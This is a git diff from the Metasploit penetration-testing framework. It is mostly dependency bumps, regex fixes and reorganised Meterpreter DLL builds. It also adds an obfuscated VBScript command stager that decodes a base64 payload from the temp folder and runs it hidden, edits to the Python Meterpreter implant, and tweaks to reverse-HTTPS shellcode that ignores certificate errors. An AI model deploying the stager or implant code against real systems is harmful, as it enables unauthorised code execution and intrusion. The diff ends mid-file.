diff --git a/.gitignore b/.gitignore index 189d32b78e..90a8afd545 100644 --- a/.gitignore +++ b/.gitignore @@ -3,10 +3,7 @@ .idea # Sublime Text project directory (not created by ST by default) .sublime-project -# Portable ruby version files for rvm -.ruby-gemset -.ruby-version -# RVM control file +# RVM control file, keep this to avoid backdooring Metasploit .rvmrc # YARD cache directory .yardoc diff --git a/.ruby-gemset b/.ruby-gemset new file mode 100644 index 0000000000..6413f9702d --- /dev/null +++ b/.ruby-gemset @@ -0,0 +1 @@ +metasploit-framework diff --git a/.ruby-version b/.ruby-version new file mode 100644 index 0000000000..8e17352446 --- /dev/null +++ b/.ruby-version @@ -0,0 +1 @@ +ruby-1.9.3-p448 diff --git a/.travis.yml b/.travis.yml index 9c98a8aacd..1ae7e19bcf 100644 --- a/.travis.yml +++ b/.travis.yml @@ -15,4 +15,4 @@ notifications: irc: "irc.freenode.org#msfnotify" git: - depth: 1 + depth: 5 diff --git a/Gemfile b/Gemfile index 042c3437bb..053262d6bd 100755 --- a/Gemfile +++ b/Gemfile @@ -11,7 +11,7 @@ gem 'nokogiri' # Needed by anemone crawler gem 'robots' # Needed by db.rb and Msf::Exploit::Capture -gem 'packetfu', '1.1.8' +gem 'packetfu', '1.1.9' group :db do # Needed for Msf::DbManager @@ -41,7 +41,7 @@ group :development, :test do # 'FactoryGirl.' in factory definitions syntax. gem 'factory_girl', '>= 4.1.0' # running documentation generation tasks and rspec tasks - gem 'rake' + gem 'rake', '>= 10.0.0' end group :test do @@ -51,11 +51,10 @@ group :test do gem 'database_cleaner' # testing framework gem 'rspec', '>= 2.12' - # add matchers from shoulda, such as query_the_database, which is useful for - # testing that the Msf::DBManager activation is respected. gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. + # see: https://github.com/colszowka/simplecov/issues/127 (hopefully fixed in 0.8.0) gem 'simplecov', '0.5.4', :require => false # Manipulate Time.now in specs gem 'timecop' diff --git a/Gemfile.lock b/Gemfile.lock index c532448b29..d8f0650ebd 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -1,62 +1,58 @@ GEM remote: http://rubygems.org/ specs: - activemodel (3.2.13) - activesupport (= 3.2.13) + activemodel (3.2.14) + activesupport (= 3.2.14) builder (~> 3.0.0) - activerecord (3.2.13) - activemodel (= 3.2.13) - activesupport (= 3.2.13) + activerecord (3.2.14) + activemodel (= 3.2.14) + activesupport (= 3.2.14) arel (~> 3.0.2) tzinfo (~> 0.3.29) - activesupport (3.2.13) - i18n (= 0.6.1) + activesupport (3.2.14) + i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) arel (3.0.2) - bourne (1.4.0) - mocha (~> 0.13.2) builder (3.0.4) - database_cleaner (0.9.1) - diff-lcs (1.2.2) + database_cleaner (1.1.1) + diff-lcs (1.2.4) factory_girl (4.2.0) activesupport (>= 3.0.0) - i18n (0.6.1) - json (1.7.7) - metaclass (0.0.1) + i18n (0.6.5) + json (1.8.0) metasploit_data_models (0.16.6) activerecord (>= 3.2.13) activesupport pg - mocha (0.13.3) - metaclass (~> 0.0.1) - msgpack (0.5.4) + mini_portile (0.5.1) + msgpack (0.5.5) multi_json (1.0.4) network_interface (0.0.1) - nokogiri (1.5.9) - packetfu (1.1.8) + nokogiri (1.6.0) + mini_portile (~> 0.5.0) + packetfu (1.1.9) pcaprub (0.11.3) - pg (0.15.1) - rake (10.0.4) - redcarpet (2.2.2) + pg (0.16.0) + rake (10.1.0) + redcarpet (3.0.0) robots (0.10.1) - rspec (2.13.0) - rspec-core (~> 2.13.0) - rspec-expectations (~> 2.13.0) - rspec-mocks (~> 2.13.0) - rspec-core (2.13.1) - rspec-expectations (2.13.0) + rspec (2.14.1) + rspec-core (~> 2.14.0) + rspec-expectations (~> 2.14.0) + rspec-mocks (~> 2.14.0) + rspec-core (2.14.5) + rspec-expectations (2.14.2) diff-lcs (>= 1.1.3, < 2.0) - rspec-mocks (2.13.0) - shoulda-matchers (1.5.2) + rspec-mocks (2.14.3) + shoulda-matchers (2.3.0) activesupport (>= 3.0.0) - bourne (~> 1.3) simplecov (0.5.4) multi_json (~> 1.0.3) simplecov-html (~> 0.5.3) simplecov-html (0.5.3) - timecop (0.6.1) + timecop (0.6.3) tzinfo (0.3.37) - yard (0.8.5.2) + yard (0.8.7) PLATFORMS ruby @@ -71,10 +67,10 @@ DEPENDENCIES msgpack network_interface (~> 0.0.1) nokogiri - packetfu (= 1.1.8) + packetfu (= 1.1.9) pcaprub pg (>= 0.11) - rake + rake (>= 10.0.0) redcarpet robots rspec (>= 2.12) diff --git a/HACKING b/HACKING index 23c0acd463..942d46ee2a 100644 --- a/HACKING +++ b/HACKING @@ -9,8 +9,8 @@ Code Style In order to maintain consistency and readability, we ask that you adhere to the following style guidelines: - - Hard tabs, not spaces - - Try to keep your lines under 100 columns (assuming four-space tabs) + - Standard Ruby two-space soft tabs, not hard tabs. + - Try to keep your lines under 100 columns (assuming two-space tabs) - do; end instead of {} for a block - Always use str[0,1] instead of str[0] (This avoids a known ruby 1.8/1.9 incompatibility.) diff --git a/data/exploits/cmdstager/vbs_b64_noquot b/data/exploits/cmdstager/vbs_b64_noquot new file mode 100755 index 0000000000..738a7b6c1d --- /dev/null +++ b/data/exploits/cmdstager/vbs_b64_noquot @@ -0,0 +1,49 @@ +echo Dim encodedFile, decodedFile, scriptingFS, scriptShell, emptyString, tempString, Base64Chars, tempDir >>decode_stub +echo encodedFile = Chr(92)+CHRENCFILE >>decode_stub +echo decodedFile = Chr(92)+CHRDECFILE >>decode_stub +echo scriptingFS = Chr(83)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(105)+Chr(110)+Chr(103)+Chr(46)+Chr(70)+Chr(105)+Chr(108)+Chr(101)+Chr(83)+Chr(121)+Chr(115)+Chr(116)+Chr(101)+Chr(109)+Chr(79)+Chr(98)+Chr(106)+Chr(101)+Chr(99)+Chr(116) >>decode_stub +echo scriptShell = Chr(87)+Chr(115)+Chr(99)+Chr(114)+Chr(105)+Chr(112)+Chr(116)+Chr(46)+Chr(83)+Chr(104)+Chr(101)+Chr(108)+Chr(108) >>decode_stub +echo emptyString = Chr(84)+Chr(104)+Chr(101)+Chr(32)+Chr(102)+Chr(105)+Chr(108)+Chr(101)+Chr(32)+Chr(105)+Chr(115)+Chr(32)+Chr(101)+Chr(109)+Chr(112)+Chr(116)+Chr(121)+Chr(46)>>decode_stub +echo tempString = Chr(37)+Chr(84)+Chr(69)+Chr(77)+Chr(80)+Chr(37) >>decode_stub +echo Base64Chars = Chr(65)+Chr(66)+Chr(67)+Chr(68)+Chr(69)+Chr(70)+Chr(71)+Chr(72)+Chr(73)+Chr(74)+Chr(75)+Chr(76)+Chr(77)+Chr(78)+Chr(79)+Chr(80)+Chr(81)+Chr(82)+Chr(83)+Chr(84)+Chr(85)+Chr(86)+Chr(87)+Chr(88)+Chr(89)+Chr(90)+Chr(97)+Chr(98)+Chr(99)+Chr(100)+Chr(101)+Chr(102)+Chr(103)+Chr(104)+Chr(105)+Chr(106)+Chr(107)+Chr(108)+Chr(109)+Chr(110)+Chr(111)+Chr(112)+Chr(113)+Chr(114)+Chr(115)+Chr(116)+Chr(117)+Chr(118)+Chr(119)+Chr(120)+Chr(121)+Chr(122)+Chr(48)+Chr(49)+Chr(50)+Chr(51)+Chr(52)+Chr(53)+Chr(54)+Chr(55)+Chr(56)+Chr(57)+Chr(43)+Chr(47) >>decode_stub +echo Set wshShell = CreateObject(scriptShell) >>decode_stub +echo tempDir = wshShell.ExpandEnvironmentStrings(tempString) >>decode_stub +echo Set fs = CreateObject(scriptingFS) >>decode_stub +echo Set file = fs.GetFile(tempDir+encodedFile) >>decode_stub +echo If file.Size Then >>decode_stub +echo Set fd = fs.OpenTextFile(tempDir+encodedFile, 1) >>decode_stub +echo data = fd.ReadAll >>decode_stub +echo data = Replace(data, Chr(32)+vbCrLf, nil) >>decode_stub +echo data = Replace(data, vbCrLf, nil) >>decode_stub +echo data = base64_decode(data) >>decode_stub +echo fd.Close >>decode_stub +echo Set ofs = CreateObject(scriptingFS).OpenTextFile(tempDir+decodedFile, 2, True) >>decode_stub +echo ofs.Write data >>decode_stub +echo ofs.close >>decode_stub +echo wshShell.run tempDir+decodedFile, 0, false >>decode_stub +echo Else >>decode_stub +echo Wscript.Echo emptyString >>decode_stub +echo End If >>decode_stub +echo Function base64_decode(byVal strIn) >>decode_stub +echo Dim w1, w2, w3, w4, n, strOut >>decode_stub +echo For n = 1 To Len(strIn) Step 4 >>decode_stub +echo w1 = mimedecode(Mid(strIn, n, 1)) >>decode_stub +echo w2 = mimedecode(Mid(strIn, n + 1, 1)) >>decode_stub +echo w3 = mimedecode(Mid(strIn, n + 2, 1)) >>decode_stub +echo w4 = mimedecode(Mid(strIn, n + 3, 1)) >>decode_stub +echo If Not w2 Then _ >>decode_stub +echo strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) >>decode_stub +echo If Not w3 Then _ >>decode_stub +echo strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) >>decode_stub +echo If Not w4 Then _ >>decode_stub +echo strOut = strOut + Chr(((w3 * 64 + w4) And 255)) >>decode_stub +echo Next >>decode_stub +echo base64_decode = strOut >>decode_stub +echo End Function >>decode_stub +echo Function mimedecode(byVal strIn) >>decode_stub +echo If Len(strIn) = 0 Then >>decode_stub +echo mimedecode = -1 : Exit Function >>decode_stub +echo Else >>decode_stub +echo mimedecode = InStr(Base64Chars, strIn) - 1 >>decode_stub +echo End If >>decode_stub +echo End Function >>decode_stub diff --git a/data/meterpreter/elevator.dll b/data/meterpreter/elevator.dll deleted file mode 100755 index 5d5402a24d..0000000000 Binary files a/data/meterpreter/elevator.dll and /dev/null differ diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index d6612e25ac..946f2cfd51 100755 Binary files a/data/meterpreter/elevator.x64.dll and b/data/meterpreter/elevator.x64.dll differ diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll new file mode 100755 index 0000000000..e75ad7b4f8 Binary files /dev/null and b/data/meterpreter/elevator.x86.dll differ diff --git a/data/meterpreter/ext_server_espia.dll b/data/meterpreter/ext_server_espia.dll deleted file mode 100755 index 83bcdb75db..0000000000 Binary files a/data/meterpreter/ext_server_espia.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 3fdbad4b4c..7940d4a505 100755 Binary files a/data/meterpreter/ext_server_espia.x64.dll and b/data/meterpreter/ext_server_espia.x64.dll differ diff --git a/data/meterpreter/ext_server_espia.x86.dll b/data/meterpreter/ext_server_espia.x86.dll new file mode 100755 index 0000000000..93002e384a Binary files /dev/null and b/data/meterpreter/ext_server_espia.x86.dll differ diff --git a/data/meterpreter/ext_server_incognito.dll b/data/meterpreter/ext_server_incognito.dll deleted file mode 100755 index 5292b93731..0000000000 Binary files a/data/meterpreter/ext_server_incognito.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 5745a9ad4b..49255b05df 100755 Binary files a/data/meterpreter/ext_server_incognito.x64.dll and b/data/meterpreter/ext_server_incognito.x64.dll differ diff --git a/data/meterpreter/ext_server_incognito.x86.dll b/data/meterpreter/ext_server_incognito.x86.dll new file mode 100755 index 0000000000..ad725ebebf Binary files /dev/null and b/data/meterpreter/ext_server_incognito.x86.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.dll b/data/meterpreter/ext_server_lanattacks.dll deleted file mode 100755 index a837ae495b..0000000000 Binary files a/data/meterpreter/ext_server_lanattacks.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_lanattacks.x64.dll b/data/meterpreter/ext_server_lanattacks.x64.dll index 518bf00d4f..b105769b13 100755 Binary files a/data/meterpreter/ext_server_lanattacks.x64.dll and b/data/meterpreter/ext_server_lanattacks.x64.dll differ diff --git a/data/meterpreter/ext_server_lanattacks.x86.dll b/data/meterpreter/ext_server_lanattacks.x86.dll new file mode 100755 index 0000000000..e89ad750ee Binary files /dev/null and b/data/meterpreter/ext_server_lanattacks.x86.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.dll b/data/meterpreter/ext_server_mimikatz.dll deleted file mode 100755 index eb1626d539..0000000000 Binary files a/data/meterpreter/ext_server_mimikatz.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_mimikatz.x64.dll b/data/meterpreter/ext_server_mimikatz.x64.dll index 9a63429635..3e0f170625 100755 Binary files a/data/meterpreter/ext_server_mimikatz.x64.dll and b/data/meterpreter/ext_server_mimikatz.x64.dll differ diff --git a/data/meterpreter/ext_server_mimikatz.x86.dll b/data/meterpreter/ext_server_mimikatz.x86.dll new file mode 100755 index 0000000000..7b32482295 Binary files /dev/null and b/data/meterpreter/ext_server_mimikatz.x86.dll differ diff --git a/data/meterpreter/ext_server_priv.dll b/data/meterpreter/ext_server_priv.dll deleted file mode 100755 index deb37811fc..0000000000 Binary files a/data/meterpreter/ext_server_priv.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_priv.x64.dll b/data/meterpreter/ext_server_priv.x64.dll index d0b13f89b9..eead4e2e9d 100755 Binary files a/data/meterpreter/ext_server_priv.x64.dll and b/data/meterpreter/ext_server_priv.x64.dll differ diff --git a/data/meterpreter/ext_server_priv.x86.dll b/data/meterpreter/ext_server_priv.x86.dll new file mode 100755 index 0000000000..6b5db16bab Binary files /dev/null and b/data/meterpreter/ext_server_priv.x86.dll differ diff --git a/data/meterpreter/ext_server_sniffer.dll b/data/meterpreter/ext_server_sniffer.dll deleted file mode 100755 index 51d1815cd6..0000000000 Binary files a/data/meterpreter/ext_server_sniffer.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_sniffer.x64.dll b/data/meterpreter/ext_server_sniffer.x64.dll index 476bb9d1ec..35f31d12c3 100755 Binary files a/data/meterpreter/ext_server_sniffer.x64.dll and b/data/meterpreter/ext_server_sniffer.x64.dll differ diff --git a/data/meterpreter/ext_server_sniffer.x86.dll b/data/meterpreter/ext_server_sniffer.x86.dll new file mode 100755 index 0000000000..1ffce77c8e Binary files /dev/null and b/data/meterpreter/ext_server_sniffer.x86.dll differ diff --git a/data/meterpreter/ext_server_stdapi.dll b/data/meterpreter/ext_server_stdapi.dll deleted file mode 100755 index d83794749a..0000000000 Binary files a/data/meterpreter/ext_server_stdapi.dll and /dev/null differ diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index a1cf7de5b4..98b1c235d0 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -580,20 +580,28 @@ def stdapi_fs_delete_file(request, response): @meterpreter.register_function def stdapi_fs_file_expand_path(request, response): path_tlv = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] - if path_tlv == '%COMSPEC%': - if platform.system() == 'Windows': - result = 'cmd.exe' - else: - result = '/bin/sh' - elif path_tlv in ['%TEMP%', '%TMP%'] and platform.system() != 'Windows': + if has_windll: + path_out = (ctypes.c_char * 4096)() + path_out_len = ctypes.windll.kernel32.ExpandEnvironmentStringsA(path_tlv, ctypes.byref(path_out), ctypes.sizeof(path_out)) + result = ''.join(path_out)[:path_out_len] + elif path_tlv == '%COMSPEC%': + result = '/bin/sh' + elif path_tlv in ['%TEMP%', '%TMP%']: result = '/tmp' else: - result = os.getenv(path_tlv) + result = os.getenv(path_tlv, path_tlv) if not result: return ERROR_FAILURE, response response += tlv_pack(TLV_TYPE_FILE_PATH, result) return ERROR_SUCCESS, response +@meterpreter.register_function +def stdapi_fs_file_move(request, response): + oldname = packet_get_tlv(request, TLV_TYPE_FILE_NAME)['value'] + newname = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] + os.rename(oldname, newname) + return ERROR_SUCCESS, response + @meterpreter.register_function def stdapi_fs_getwd(request, response): response += tlv_pack(TLV_TYPE_DIRECTORY_PATH, os.getcwd()) @@ -622,7 +630,7 @@ def stdapi_fs_md5(request, response): m = hashlib.md5() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) + response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function @@ -669,7 +677,7 @@ def stdapi_fs_sha1(request, response): m = hashlib.sha1() path = packet_get_tlv(request, TLV_TYPE_FILE_PATH)['value'] m.update(open(path, 'rb').read()) - response += tlv_pack(TLV_TYPE_FILE_NAME, m.hexdigest()) + response += tlv_pack(TLV_TYPE_FILE_NAME, m.digest()) return ERROR_SUCCESS, response @meterpreter.register_function diff --git a/data/meterpreter/ext_server_stdapi.x64.dll b/data/meterpreter/ext_server_stdapi.x64.dll index ffc56ad1e3..ea0b6c3f69 100755 Binary files a/data/meterpreter/ext_server_stdapi.x64.dll and b/data/meterpreter/ext_server_stdapi.x64.dll differ diff --git a/data/meterpreter/ext_server_stdapi.x86.dll b/data/meterpreter/ext_server_stdapi.x86.dll new file mode 100755 index 0000000000..157995ab12 Binary files /dev/null and b/data/meterpreter/ext_server_stdapi.x86.dll differ diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index b81415a0a7..59bd457271 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -145,8 +145,9 @@ class STDProcessBuffer(threading.Thread): self.data_lock.acquire() self.data += byte self.data_lock.release() + data = self.std.read() self.data_lock.acquire() - self.data += self.std.read() + self.data += data self.data_lock.release() def is_read_ready(self): @@ -208,7 +209,7 @@ class PythonMeterpreter(object): def run(self): while self.running: - if len(select.select([self.socket], [], [], 0)[0]): + if len(select.select([self.socket], [], [], 0.5)[0]): request = self.socket.recv(8) if len(request) != 8: break @@ -391,13 +392,17 @@ class PythonMeterpreter(object): reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID) resp += tlv_pack(reqid_tlv) - if method_tlv['value'] in self.extension_functions: - handler = self.extension_functions[method_tlv['value']] + handler_name = method_tlv['value'] + if handler_name in self.extension_functions: + handler = self.extension_functions[handler_name] try: + #print("[*] running method {0}".format(handler_name)) result, resp = handler(request, resp) except Exception, err: + #print("[-] method {0} resulted in an error".format(handler_name)) result = ERROR_FAILURE else: + #print("[-] method {0} was requested but does not exist".format(handler_name)) result = ERROR_FAILURE resp += tlv_pack(TLV_TYPE_RESULT, result) resp = struct.pack('>I', len(resp) + 4) + resp diff --git a/data/meterpreter/metsrv.dll b/data/meterpreter/metsrv.dll deleted file mode 100755 index 2c0bd62c7f..0000000000 Binary files a/data/meterpreter/metsrv.dll and /dev/null differ diff --git a/data/meterpreter/metsrv.x64.dll b/data/meterpreter/metsrv.x64.dll index 90716b66de..42d854da62 100755 Binary files a/data/meterpreter/metsrv.x64.dll and b/data/meterpreter/metsrv.x64.dll differ diff --git a/data/meterpreter/metsrv.x86.dll b/data/meterpreter/metsrv.x86.dll new file mode 100755 index 0000000000..142c30272c Binary files /dev/null and b/data/meterpreter/metsrv.x86.dll differ diff --git a/data/meterpreter/screenshot.dll b/data/meterpreter/screenshot.dll deleted file mode 100755 index 7e286c83fb..0000000000 Binary files a/data/meterpreter/screenshot.dll and /dev/null differ diff --git a/data/meterpreter/screenshot.x64.dll b/data/meterpreter/screenshot.x64.dll index d868309c95..8c80827b07 100755 Binary files a/data/meterpreter/screenshot.x64.dll and b/data/meterpreter/screenshot.x64.dll differ diff --git a/data/meterpreter/screenshot.x86.dll b/data/meterpreter/screenshot.x86.dll new file mode 100755 index 0000000000..d4d94fed1e Binary files /dev/null and b/data/meterpreter/screenshot.x86.dll differ diff --git a/data/wordlists/http_owa_common.txt b/data/wordlists/http_owa_common.txt new file mode 100644 index 0000000000..86c0c93c88 --- /dev/null +++ b/data/wordlists/http_owa_common.txt @@ -0,0 +1,8 @@ +aspnet_client/ +Autodiscover/ +ecp/ +EWS/ +Microsoft-Server-ActiveSync/ +OAB/ +PowerShell/ +Rpc/ diff --git a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm index 9c027c28b9..32ba7ff12b 100644 --- a/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm +++ b/external/source/shellcode/windows/x64/src/block/block_reverse_https.asm @@ -1,6 +1,7 @@ ;-----------------------------------------------------------------------------; ; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) ; Rewritten for x64 by agix +; Modified to account for memory alignment by rwincey ; Compatible: Windows 7 ; Architecture: x64 ;-----------------------------------------------------------------------------; @@ -12,6 +13,7 @@ load_wininet: ; setup the structures we need on the stack... + push byte 0 ; alignment mov r14, 'wininet' push r14 ; Push the bytes 'wininet',0 onto the stack. mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call. @@ -20,6 +22,7 @@ load_wininet: call rbp ; LoadLibraryA( "ws2_32" ) internetopen: + push byte 0 ; alignment push byte 0 ; NULL pointer mov rcx, rsp ; LPCTSTR lpszAgent ("\x00") xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0) @@ -74,6 +77,7 @@ retry: internetsetoption: mov rcx, rsi ; HINTERNET hInternet mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS) + push byte 0 ; alignment push qword 0x00003380 ;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID ;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID @@ -90,6 +94,7 @@ httpsendrequest: xor rdx, rdx ; LPCTSTR lpszHeaders xor r8, r8 ; DWORD dwHeadersLength xor r9, r9 ; LPVOID lpOptional + push rdx ; alignment push rdx ; DWORD dwOptionalLength mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" ) call rbp diff --git a/lib/metasm/metasm/disassemble_api.rb b/lib/metasm/metasm/disassemble_api.rb index 01713e0b7e..aeef221eb2 100644 --- a/lib/metasm/metasm/disassemble_api.rb +++ b/lib/metasm/metasm/disassemble_api.rb @@ -776,10 +776,10 @@ class Disassembler def strings_scan(minlen=6) ret = [] nexto = 0 - pattern_scan(/[\x20-\x7e]{#{minlen},}/m, nil, 1024) { |o| + pattern_scan(/[\x20-\x7e]{#{minlen},}/nm, nil, 1024) { |o| if o - nexto > 0 next unless e = get_edata_at(o) - str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/m] + str = e.data[e.ptr, 1024][/[\x20-\x7e]{#{minlen},}/nm] ret << [o, str] if not block_given? or yield(o, str) nexto = o + str.length end diff --git a/lib/metasm/metasm/gui/dasm_hex.rb b/lib/metasm/metasm/gui/dasm_hex.rb index 40440dc046..3005edcf04 100644 --- a/lib/metasm/metasm/gui/dasm_hex.rb +++ b/lib/metasm/metasm/gui/dasm_hex.rb @@ -231,7 +231,7 @@ class HexWidget < DrawableWidget end if @show_ascii and d x = xa + d_o*@font_width - d = d.gsub(/[^\x20-\x7e]/, '.') + d = d.gsub(/[^\x20-\x7e]/n, '.') if wp.empty? render[d, :ascii] else @@ -393,7 +393,7 @@ class HexWidget < DrawableWidget # pop a dialog, scans the sections for a hex pattern def prompt_search_hex inputbox('hex pattern to search (hex regexp, use .. for wildcard)') { |pat| - pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/i) { |o| "\\x#{o}" } + pat = pat.gsub(' ', '').gsub('..', '.').gsub(/[0-9a-f][0-9a-f]/ni) { |o| "\\x#{o}" } pat = Regexp.new(pat, Regexp::MULTILINE, 'n') # 'n' = force ascii-8bit list = [['addr']] + @dasm.pattern_scan(pat).map { |a| [Expression[a]] } listwindow("hex search #{pat}", list) { |i| focus_addr i[0] } diff --git a/lib/msf/base/sessions/meterpreter_x86_win.rb b/lib/msf/base/sessions/meterpreter_x86_win.rb index 7e3f6efc22..ee2ba2bc17 100644 --- a/lib/msf/base/sessions/meterpreter_x86_win.rb +++ b/lib/msf/base/sessions/meterpreter_x86_win.rb @@ -15,7 +15,7 @@ class Meterpreter_x86_Win < Msf::Sessions::Meterpreter def initialize(rstream,opts={}) super self.platform = 'x86/win32' - self.binary_suffix = 'dll' + self.binary_suffix = 'x86.dll' end def lookup_error(code) diff --git a/lib/msf/core/auxiliary/auth_brute.rb b/lib/msf/core/auxiliary/auth_brute.rb index b3193020ae..6de6500bf7 100644 --- a/lib/msf/core/auxiliary/auth_brute.rb +++ b/lib/msf/core/auxiliary/auth_brute.rb @@ -93,8 +93,6 @@ module Auxiliary::AuthBrute next if @@credentials_skipped[fq_user] next if @@credentials_tried[fq_user] == p - datastore['USERNAME'] = u.to_s - datastore['PASSWORD'] = p.to_s ret = block.call(u, p) case ret diff --git a/lib/msf/core/auxiliary/login.rb b/lib/msf/core/auxiliary/login.rb index 70e6e165ac..a20642ab91 100644 --- a/lib/msf/core/auxiliary/login.rb +++ b/lib/msf/core/auxiliary/login.rb @@ -128,10 +128,10 @@ module Auxiliary::Login false end - def password_prompt? + def password_prompt?(username=nil) return true if(@recvd =~ @password_regex) - if datastore['USERNAME'] - return true if( !(datastore['USERNAME'].empty?) and @recvd =~ /#{datastore['USERNAME']}'s/) + if username + return true if( !(username.empty?) and @recvd =~ /#{username}'s/) end return false end diff --git a/lib/msf/core/auxiliary/nmap.rb b/lib/msf/core/auxiliary/nmap.rb index 4c3cdfc6b2..8d60cd9a12 100644 --- a/lib/msf/core/auxiliary/nmap.rb +++ b/lib/msf/core/auxiliary/nmap.rb @@ -59,7 +59,7 @@ def get_nmap_ver nmap_cmd = [self.nmap_bin] nmap_cmd << "--version" res << %x{#{nmap_cmd.join(" ")}} rescue nil - res.gsub(/[\x0d\x0a]/,"") + res.gsub(/[\x0d\x0a]/n,"") end # Takes a version string in the form of Major.Minor and compares to @@ -68,16 +68,16 @@ end # Comparing an Integer is okay, though. def nmap_version_at_least?(test_ver=nil) raise ArgumentError, "Cannot compare a Float, use a String or Integer" if test_ver.kind_of? Float - unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/] + unless test_ver.to_s[/^([0-9]+(\x2e[0-9]+)?)/n] raise ArgumentError, "Bad Nmap comparison version: #{test_ver.inspect}" end test_ver_str = test_ver.to_s - tnum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} + tnum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i} installed_ver = get_nmap_ver() vtag = installed_ver.split[2] # Should be ["Nmap", "version", "X.YZTAG", "(", "http..", ")"] return false if (vtag.nil? || vtag.empty?) - return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/) # Drop the tag. - inum_arr = $1.split(/\x2e/)[0,2].map {|x| x.to_i} + return false unless (vtag =~ /^([0-9]+\x2e[0-9]+)/n) # Drop the tag. + inum_arr = $1.split(/\x2e/n)[0,2].map {|x| x.to_i} return true if inum_arr[0] > tnum_arr[0] return false if inum_arr[0] < tnum_arr[0] inum_arr[1].to_i >= tnum_arr[1].to_i @@ -228,7 +228,7 @@ def nmap_validate_arg(str) return false end # Check for commas outside of quoted arguments - quoted_22 = /\x22[^\x22]*\x22/ + quoted_22 = /\x22[^\x22]*\x22/n requoted_str = str.gsub(/'/,"\"") if requoted_str.split(quoted_22).join[/,/] print_error "Malformed nmap arguments (unquoted comma): #{str}" diff --git a/lib/msf/core/db.rb b/lib/msf/core/db.rb index a7844d6158..bce0235d93 100644 --- a/lib/msf/core/db.rb +++ b/lib/msf/core/db.rb @@ -358,7 +358,7 @@ class DBManager opts.each { |k,v| if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') end else dlog("Unknown attribute for ::Mdm::Host: #{k}") @@ -481,7 +481,7 @@ class DBManager if (host.attribute_names.include?(k.to_s)) unless host.attribute_locked?(k.to_s) - host[k] = v.to_s.gsub(/[\x00-\x1f]/, '') + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') end else dlog("Unknown attribute for Host: #{k}") @@ -1536,12 +1536,12 @@ class DBManager if (token[0]) # convert the token to US-ASCII from UTF-8 to prevent an error token[0] = token[0].unpack("C*").pack("C*") - token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } + token[0] = token[0].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } end if (token[1]) token[1] = token[1].unpack("C*").pack("C*") - token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/){|m| "\\x%.2x" % m.unpack("C")[0] } + token[1] = token[1].gsub(/[\x00-\x1f\x7f-\xff]/n){|m| "\\x%.2x" % m.unpack("C")[0] } end ret = {} @@ -2853,7 +2853,7 @@ class DBManager return REXML::Document.new(data) rescue REXML::ParseException => e dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}") - return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/){ |x| "\\x%.2x" % x.unpack("C*")[0] }) + return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }) end end end @@ -3055,7 +3055,7 @@ class DBManager @import_filedata[:type] = "Appscan" return :appscan_xml when "entities" - if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/i + if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni @import_filedata[:type] = "CI" return 